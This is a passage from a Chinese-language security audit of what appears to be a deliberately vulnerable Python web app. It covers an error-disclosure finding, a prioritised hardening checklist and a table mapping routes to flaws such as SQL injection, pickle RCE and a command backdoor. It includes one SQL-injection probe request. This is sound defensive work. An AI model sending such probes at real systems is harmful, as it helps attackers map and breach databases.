漏洞原因:数据库语法错误、Python 堆栈信息直接返回给客户端。攻击者可借助报错内容判断数据库类型/表结构/字段,将盲注转为显错注入(error-based),大幅降低利用成本。

利用方式:

# 触发 SQL 语法错误,回显内部错误
GET /users?id=1'
# 响应含 sqlite3.OperationalError 及 SQL 片段

修复建议:

  1. 生产环境统一返回通用错误页(500 Internal Server Error),错误详情只写服务端日志。
  2. 用参数化查询后,SQL 错误本身也不应暴露(#1 修复后该点自然消除)。

五、纵深防御加固清单(按优先级)

优先级 动作 对应漏洞
P0 全库参数化查询,消灭所有字符串拼接 SQL #1 #2
P0 删除 do_BDR 后门;全代码禁用 shell=True #5 #3
P0 反序列化改用 JSON;不可信数据绝不 pickle.loads #4
P0 文件读取加目录白名单(realpath 前缀校验);禁 file:///外网 URL #6 #7
P1 Cookie 加 HttpOnly; Secure; SameSite=Strict;会话独立实例 + 高熵随机 + 过期轮换 #19 #15 #13 #14
P1 状态变更改 POST + CSRF Token;删号二次确认 #11
P1 加 X-Frame-Options: DENY / CSP frame-ancestors 'none' #12
P1 所有输出 HTML 编码;删除 document.write;收紧 CSP #8 #9 #10 #20
P1 密码哈希存储;移除默认凭证与后门;登录限速 #21 #2
P1 默认强制 HTTPS + HSTS #18
P2 授权检查前置(先鉴权再渲染),重定向用 30x #17 #16
P2 统一错误页,异常只进日志 #22

六、附录:路由与风险前置条件速查

路由 功能 漏洞 需 risk
/login 登录 SQLi 认证绕过、后门 1
/users 用户查询 SQL 注入(可拖 session) 1
/post 留言 反射 XSS 1
/guestbook 留言板 存储 XSS 1
/docs 文档读取 路径穿越 + SSRF + file:// 1
/jump 跳转 开放重定向 1
/home 首页 会话固定 1
/profile 个人信息 会话劫持 1
/admin 管理页 EAR 1
/settings 设置 CSRF 1
/danger 删号 CSRF + 点击劫持 1
/diag 域名诊断 命令注入 RCE 3
/extract 对象反序列化 pickle RCE 3
任意 (BDR 方法) — 命令执行后门 3
全部页面 静态资源 + custom.js DOM XSS、弱头、无 X-Frame-Options 1

报告完。所有结论基于静态代码分析(逐行核对 attacks.py / handlers.py / server.py / custom.js / dsvpwa.py / db/*.xml 后得出),未执行动态验证。行号对应仓库 HEAD a06abb3。

正文完
 0